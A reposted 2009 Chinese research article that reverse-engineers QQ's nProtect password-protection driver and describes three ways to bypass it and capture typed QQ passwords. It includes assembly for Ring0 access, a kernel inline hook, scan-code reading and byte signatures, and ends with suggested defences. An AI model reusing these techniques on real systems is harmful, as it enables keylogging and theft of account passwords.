您的位置:首页 > 其它

深入分析与破解QQ键盘加密保护

2009-03-06 00:51 429 查看

深入分析与破解QQ键盘加密保护

——反nProtect技术

武汉大学计算机学院信息安全0411禤彪/
 
摘要:本文对QQ的nProtect密码安全输入控件保护技术进行了分析,并针对其破解思路进行了描述和实现,本文还给出了关键代码分析。实验表明,本文给出的方法可以有效地截获nProtect密码安全输入控件中的密码。本文最后还给出了相关的防护思路和措施。
关键字:nProtect,安全控件,破解,QQ

1.相关背景

在写这篇文章之前,我想说明几点:
1)本人由于兴趣爱好,只是从技术角度来进行研究,并非有意进行破坏,而且安全与威胁本来就是互进互促的;
2)任何利用该成果编写的盗号程序一概与本人无关,同时也希望腾讯公司能够对此重视,尽快升级或打补丁;
3)由于本人水平有限,错误之处希望大家予以指正。
首先,让我们看看QQ官方网站是如何描述键盘加密保护的:
“从QQ2005 Beta3开始,QQ采用了国际先进的nProtect键盘加密保护技术,在启动QQ后,键盘加密保护系统会自动启动,此时您会看到QQ登陆的密码框右侧出现了一把金色的安全锁,当您敲击键盘输入密码时,键盘加密保护系统会自动对键盘信息进行实时的加密。这样即使用户的PC中有病毒、键盘记录程序,也难以窃取用户的密码输入。”
据本人所知,腾讯对该保护系统升级过多次,从目前情况看,该技术已经比较完善,基本上可以防止目前所有的盗号软件,所以在QQ2007Beta1版中腾讯也没有对此进行升级。

2.QQ键盘加密保护分析

让我们现在开始进入正题,QQ键盘加密保护主要依赖的是QQ目录下的3个文件,分别是npkcrypt.sysnpkcusb.sysnpkcrypt.vxd,其中起主要作用的是npkcrypt.sys。在以前的版本中,有些盗号木马会对这几个关键文件进行删除或改名,然后再修改密码框右边的红叉小金锁图标 为 以达到欺骗的目的,不过QQ版本升级之后会出现软键盘提示,告知有可能中木马病毒,就算只是进行文件的修改也会出现同样的问题,因为QQ每次运行都会对这些文件进行完整性校验,所以这种方法在目前来说是没多大作用的。当然,如果你有办法绕过校验的代码那就另当别论,不过我想这种方法还是不行的,该技术好象还在其他地方做了手脚,也许是键盘驱动,做了层加密保护(在下面我会有所提及的),我没有对此进行过多的研究,因为我研究的重点并不在这里。
对于一般的密码框,我们只需要用普通的键盘钩子就可以记录按键的信息,但是如果你用这种方法监视QQ密码框那你是不会得到正确结果的,图1为我在QQ密码框中敲下“abcdBC$456”时,普通的键盘程序记录的信息:

图1 普通键盘记录程序记录的QQ密码
可以看到键盘钩子没什么作用,当你把焦点移到其他地方之后又可以正确记录按键的信息了,从这里可以看出,QQ键盘加密保护是在密码框获得焦点之后才启动的。我试着用spy++来监视密码框的Windows消息,当鼠标悬浮在密码框之上时,会有WM_TIMER消息,一旦获得焦点之后,就没法捕捉到任何的消息了。最后的一个消息为WM_SETFOCUS,显然是进行了处理。
网上曾有人在以前的版本中通过用spy++捕获WM_GETTEXT消息即可获知QQ密码,但在现在的版本里是不行了的。
无奈之下,我用win32Dasm(或者其他静态反汇编软件)打开了npkcrypt.sys进行分析(注:由于版本的不同,npkcrypt.sys文件也有所变动,我只以QQ 2007 Beta1版本的npkcrypt.sys进行分析,文件大小为25,074 字节),在npkcrypt.sys的引入表中可以发现引用了HalGetInterruptVector函数,该函数的目的是获取中断向量号的,同时还发现HalBeginSystemInterrupt、HalEndSystemInterrupt等与中断有关的函数,由此我们可以猜测该保护系统一定是在中断上做了手脚了,在键盘钩子获取信息前就已经做了处理。
我们现在已经知道了两点:
1)密码框获得焦点保护系统才启动,失去焦点后又还原;
2)保护系统是在中断上做手脚的。
于是我打开SoftICE,在密码框获取焦点之前查看了IDT表(中断描述符表),发现中断服务程序地址都是是80******开头的,当QQ密码框后我在调出SoftICE查看IDT表,发现某一号中断(我本机是0x93)的中断服务程序地址改为了F8******,而且Owner为npkcrypt.text+0191,也就是说中断服务程序的地址为npkcrypt模块.text节偏移0x191开始的位置,实际上npkcrypt模块在系统启动的时候就已经加载了,而中断服务地址是在获得焦点后才修改的,失去焦点后又还原了。
在我用ZwQuerySystemInformation函数列举系统所有模块时证明了我的说法,如图2

图2 系统模块列举
为了方便,我依然使用win32Dasm阅读静态反汇编代码,.text节的Offset为0x2C0,则入口点为0x2C0+0x191=0x451,即文件偏移0x451处为中断服务程序的入口,或者用SoftICE看中断服务地址的末三位也是一样的,因为大的模块一般是以页(页大小=4KB=0x1000B)为粒度进行映射的,所以文件偏移0x451也即模块首地址0x*****000偏移0x451。通过阅读反汇编代码以及用SoftICE下断点测试,大体上了解了该中断服务程序的作用(如图3),简单点说就是将键盘的扫描码读出来然后再模拟键盘输入送一个00错误数据给键盘
在这里有必要提一下:
与键盘相关的最重要的硬件有两个:一个是 intel 8042 芯片,位于主板上,CPU 通过 IO 端口直接和这个芯片通信,获得按键的扫描码或者发送各种键盘命令;另一个是 intel 8048 芯片或者其兼容芯片,位于键盘中,这个芯片主要作用是从键盘的硬件中得到被按的键所产生的扫描码,与 i8042 通信,控制键盘本身。
CPU 通过读写端口,可以直接把 i8042 中的数据读入到 CPU 的寄存器中,或者把 CPU 寄存器中的数据写入 i8042 中。
直接打交道的是8042芯片,一个0x60 数据端口和一个0x64 命令端口。
中断服务入口修改段寄存器值Push eaxCall 000121CC恢复寄存器值中断服务结束调用原中断服务程序初始化,控制转移读0x60端口扫描码扫描码处理模拟键盘输入向0x60端口送00错误数据#####局部变量####ebp-3CH: ASCII码[b]ebp-08H: 扫描码[/b]push ebpmov ebp,esppush ecxin al,60mov byte ptr[ebp-01],almov al,byte ptr[ebp-01]leaveretNumLock健打开?保存扫描码到全局变量[b]49A0H[/b]############ 全局变量 #########################[b]45D0H : 中断向量号[/b]4740H :按键状态指针,1号元素为NumLock按键状态,为1则打开,0关闭[b]49A0H : 键盘扫描码[/b]49A1H : E0H or 00H (EOH表示扩展键,00H表示普通键节)
图3 QQ密码保护的关键技术流程

3.QQ键盘加密保护破解

从图3上看,我们可以从几个地方下手进行破解:

3.1在该中断服务入口地方将其跳转到原中断服务程序

经本人测试,这样虽可以绕开该中断服务,但还是获取不了正确的按键信息,可能是在键盘驱动里做了手脚,当输入数字或者小写字母的时候,键盘钩子总是得到加密后的数字或小写字母(其加密方法就是简单的代替密码),其他符号包括大写字母都能正确获得,而且每次打开新的QQ登陆窗口总会随机选择一套新的密文表,这时候如果输入的是正确的密码那登陆是失败的,但是如果输入的密码映射成密文后刚好是正确的密码那登陆就是成功的,也就是说QQ密码框认可的密码为加密后的密码。于是用SoftICE在0x60端口地方下断点,发现在密码框中断到的地址和不在密码框中断到的地址不一样,很可能是就是在键盘驱动里做了修改,所以上面提到过修改npkcrypt.sys文件没多大作用,就是因为还有这层保护。如果在如图3所示的全局变量中,在0x45D0将中断向量号修改为其他系统保留的,来一个乾坤大挪移也是一样的效果。这种方法本文没有深入研究,事实上相比之下后几种方法来得更简单。以下是记录的几套密文表,有兴趣的可以研究下:
第一份数据:
明文:0123456789  abcdefghijklmnopqrstuvwxyz
密文:2513970684  cvkzguamldhetpsbyfrxinwojq
第二份数据:
明文:0123456789  abcdefghijklmnopqrstuvwxyz
密文:9374586012  jpgdbrqsuvlmnywafckzehotix
第三份数据:
明文:0123456789  abcdefghijklmnopqrstuvwxyz
密文:1843765209  rjvlygsihpfwdeuctokzbmaqxn

3.2直接读取该中断服务程序保留的扫描码值

如图3所示,当NumLock键处于打开状态的时候该中断服务程序会将键盘扫描码的值保存在0x49A0处(即npkcrypt.sys模块首地址偏移0x49A0)。
这种方法的关键之处在于NumLock键是否打开,如果是关闭状态那我们是没办法获取按键扫描码的。于是程序可以在初始化的时候将NumLock键打开,但如果中间NumLock键被关闭则后面的按键信息还是无法获取的,具体代码如下(由于本人是用win32asm写的测试程序,所以下面所有的参考代码均为win32asm代码):
;如果键NumLock关闭则打开
       invoke  GetKeyState,VK_NUMLOCK
       and ax,00001h
       .if ax == 0
              invoke keybd_event,VK_NUMLOCK,0,0,0
              invoke keybd_event,VK_NUMLOCK,0,KEYEVENTF_KEYUP,0
       .endif
剩下的任务就是要读取0x49A0的扫描码了,这是个相对地址,要取得它的绝对地址有2种办法:
1.用ZwQuerySystemInformation函数取得npkcrypt.sys模块的首地址,然后加上该相对地址;
2.当焦点处于QQ密码框中时读取IDT表被修改的中断描述符的偏移量(即中断服务程序的入口地址,因为该中断服务程序处于基地址为0x00000000的ring0级代码段中,所以偏移量就是入口地址),将其与0xFFFFF000相与后再加上该相对地址。计算出绝对地址后就可以读取该地址的值了,也就是想要获得的键盘扫描码。
到这里应该会有几个疑惑:
①     如果希望当用户按下键盘的时候就把扫描码取出来,那应该怎么做呢?
②     npkcrypt.sys模块修改的是哪一号中断向量呢?应该怎么获取该中断向量号?(注:这里提到的是保护模式下的中断向量而非实模式下)
③     前面所谈到的地址都是内核地址,那应该怎么进行读写呢?
④     对于QQ的版本不同,npkcrypt.sys也有所变动,如何知道扫描码保存在哪里呢?
针对这几个疑惑,我们可以这样解决这些问题:
疑惑①:最开始可能会想到用监视内存的方法,只要扫描码的值发生改变就获取一次,这种方法可行但麻烦而且不稳定,我们可以在自己的程序里加个时钟消息,每隔0.5秒就读取一次,或者用循环等等,但本文不赞同这种主动型的方法。我们更希望的是用户敲下一次键盘我们就读取一次的被动型的方法,没错,这就是键盘钩子,但与普通的键盘钩子不同,我们不需要键盘钩子处理过程中保存键盘信息的参数,因为这个参数是被处理过了的,我们只需要键盘被按下时的消息,用户按下键盘时,我们会收到WM_KEYDOWN消息,然后在这时候读取扫描码就可以了。
疑惑②:图3中0x45D0处保存的是要修改的中断向量号,我们可以直接读取该值,或者也可以用npkcrypt.sys提供的方法,通过反汇编查找调用HalGetInterruptVector函数的地方就可以模仿npkcrypt.sys取得中断向量号的方法,如下:
mov ebx,1
lea  eax,Affinity
push eax
lea  edi,Irql
push edi
push ebx
push ebx
push ebx
push ebx
call @HalGetInterruptVector
;等价于invoke HalGetInterruptVector,1,1,1,1,addr Irql,addr Affinity  后2个参数在这里没作用,是调用该函数后返回的值
.if eax > 0FFh
       sub eax,100h
.endif
.if eax == 0
       lea eax,Affinity
       push eax
       push edi
       push ebx
       push ebx
       push 0
       push ebx
       call @HalGetInterruptVector
       ;等价于invoke HalGetInterruptVector,1,0,1,1,addr Irql,addr Affinity
       .if eax > 0FFh
              sub eax,100h
       .endif
.endif
mov intNum,al    ;al即该中断向量号
由于HalGetInterruptVector函数是内核函数,所以我们需要在ring0下才能执行,具体会在疑惑③中提到。
疑惑③:如何读写内核地址?首先当前计算机的登陆用户帐号必须是计算机管理员,否则你将很难做到这一切,除非你有什么方法提权或者什么突破系统限制。
当使用计算机管理员账号登陆时,我们有2个办法:
⑴Ring3下直接将需要的物理内存//Device//PhysicalMemory映射到程序空间,只能以读的方式映射,因为只有读//Device//PhysicalMemory的权限;
⑵进入Ring0,方法也有2个,一个是用驱动的方法,另一个是非驱动通过在//Device//PhysicalMemory添加写的权限然后在GDT表添加一个调用门或IDT表添加一个中断门进入Ring0。
因为方法⑴的前提是我们必须知道需要映射的是哪一部分物理内存,而且只有读的权限,所以一般我们会选择进入Ring0的方法,而在本人的测试中,驱动的方法好象有内存保护等一些限制,所以本文使用非驱动的方法,但在Vista操作系统中是没办法使用了,因为限制了对//Device//PhysicalMemory的访问。进入Ring0后我们就可以为所欲为了,内核函数也可以调用,但要使用这些内核函数还需要用ZwQuerySystemInformation函数取得hal.dllntoskrnl.exe(在一些操作系统中ntkrnlpa.exe替代了ntoskrnl.exe)等系统模块的首地址,再找到指定函数的偏移地址相加后即可调用
疑惑④:由于QQ最近几个版本都没有更新npkcrypt.sys,如果只是监视最近几个版本的密码,用固定地址就可以了,但如果想做得完善一点,兼容以前的一些版本,可以用搜索特征码的方法,保存扫描码地址特征码为0xA2F8458A,可以打开npkcrypt.sys文件或者在内存中直接搜索该特征码,紧接着该特征码后的地址即保存扫描码的地址,那这段特征码是怎么来的呢,其来自于下面的汇编代码:
;8A45F8         mov al,byte ptr[ebp-08]  ; ebp-08是保存扫描码的局部变量,看图3
;A2########  mov byte ptr[########],al  ;########为保存扫描码的全局变量
 

3.3 Hook中断服务程序的关键地方

在图3中可以看到一段npkcrypt.sys读取键盘数据的程序,它是一个子程序,在npkcrypt.sys中几乎所有需要读键盘数据的地方都是调用该子程序完成的。所以我们可以想办法在该子程序开始地方(文件偏移0x3474)跳转到我们的处理程序中,处理完后再返回,如果你想直接进行修改那是要很高难度的,因为没有多少空闲的地方写入你的代码。这样我们就没有NumLock是否打开的限制了,我们只需要将扫描码读取出来保存在我们希望的地方再返回就可以了,但要记住在程序关闭时要还原原程序,程序运行时再修改。由于该中断服务程序是在Ring0代码段中执行的,所以我们需要申请一片内核空间来存放我们的Hook处理程序,在Ring0下可以调用ExAllocatePool和ExFreePool函数来申请和释放内核内存。
Hook处理程序如下:
;该函数为替换中断服务程序的某个关键函数
ReplaceReadPassCode proc
       push ebp
       mov ebp,esp
       push ecx
       in al,60h
       mov byte ptr[ebp-01h],al
       mov al,byte ptr[ebp-01h]
    ;前面照搬原程序的代码
       mov ebx,$    ;$只是个标记,在复制这段代码到内核内存时要替换为Data处的地址
       .if al == 0 || al == 0FAH
              leave
              ret
       .endif
       .if al == 0E0H
              mov byte ptr[ebx-2],0
              mov byte ptr[ebx-1],al
       .else
              .if byte ptr[ebx-2] != 0 && byte ptr[ebx-1] == 0E0H        
                     mov byte ptr[ebx-1],0
              .endif
              mov byte ptr[ebx-2],al
       .endif
       leave
       ret
Data:
     int 3 ;保存扫描码   ;占2个字节的位置来保存扫描码   
       int 3 ;保存扩展码
ReplaceReadPassCode endp
ReplaceReadPassCodeLen = $ - ReplaceReadPassCode
Hook的替换还原程序:
mov eax,PHookSysMem    ;替换
sub eax,HookAbAddr
sub eax,5
mov edi,HookMapAddr        
mov byte ptr[edi],0E9H         ;jmp远跳的机器码
mov dword ptr[edi+1],eax     ;相对地址,可以跳到ReplaceReadPassCode处执行
;----------------------------------------------------------------
;      55        push ebp    ;还原npkcrypt程序
;      8BEC      mov ebp,esp
;      51        push ecx
;      E460       in al,60
;      …………
mov edi,HookMapAddr
mov byte ptr[edi],055H
mov dword ptr[edi+1],0E451EC8BH   
Hook成功之后我们只需要读取ReplaceReadPassCode程序末尾2个字节的数据就可以取得我们想要的扫描码了,如果不想每次都在Ring0下读取,那可以把MmGetPhysicalAddress函数取得Hook处理程序的物理地址再映射入程序的空间,这样方便读写。
同疑惑④一样,如果不想用硬性地址,可以搜索特征码来查找需要Hook的地址,读键盘扫描码子程序特征码为0x 8860E451。以下是该特征码的汇编代码:
;55         push ebp
;8BEC      mov ebp,esp
;51              push ecx
;E460             in al,60
;8845FF         mov byte ptr[ebp-01],al
当我们找到该特征码后,将该特征码所在内存地址减去3就可以得到读键盘扫描码子程序的首地址了。
下面让大家看下我的测试程序的效果(如图4),当我们在QQ密码框中输入“abcdBC$456”时:

图4 QQ密码实际截获效果

4.检测及防范思路

安全是没有绝对的,我们能做到的只是尽可能的防范,以下是本文针对此问题想到的几点安全措施。

4.1检测方法

对npkcrypt.sys内存模块进行校验,如果校验错误那很有可能是npkcrypt.sys内存模块被修改过了。

4.2防范方法

1)        将npkcrypt.sys文件关键代码进行加密处理,当要加载进内存时再进行解密,这会加大分析的难度,而且由于只需每次开机加载时执行一次解密,所以开销少,易操作。
2)        一些重要的数据保存的时候应尽量隐蔽,或者每执行完一次中断服务程序应该将其清0,如图3可以清晰地看到扫描码保存在了某一个全局变量中,而且中断服务程序执行完后并没有对其处理,所以我们可以不需任何的修改,直接读取该全局变量即可以达到目的,也就是我上面提到的破解方法二。
3)        将npkcrypt.sys内存模块的关键代码放到禁止写操作的保护页中,可以防止对虚拟内存的修改。
4)        Hook IDT 1号中断,即调试异常处理程序,监视每一条执行指令所在的内存地址,如果超出npkcrypt.sys内存模块的范围则将其还原,这种方法安全系数较高,但难度系数也高,而且也需要较大的开销。
上面的方法都只能加大被破解的难度,要从根本上的防治,目前来看还是比较难的,所以说安全是没有绝对的。
 
作者:禤彪                                     学校:武汉大学计算机学院信息安全0411
网名:softbiaoBIAO      博客:http://blog.csdn.net/soft_biao
QQ 275541298                    
 
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  加密 qq 破解 byte hook 汇编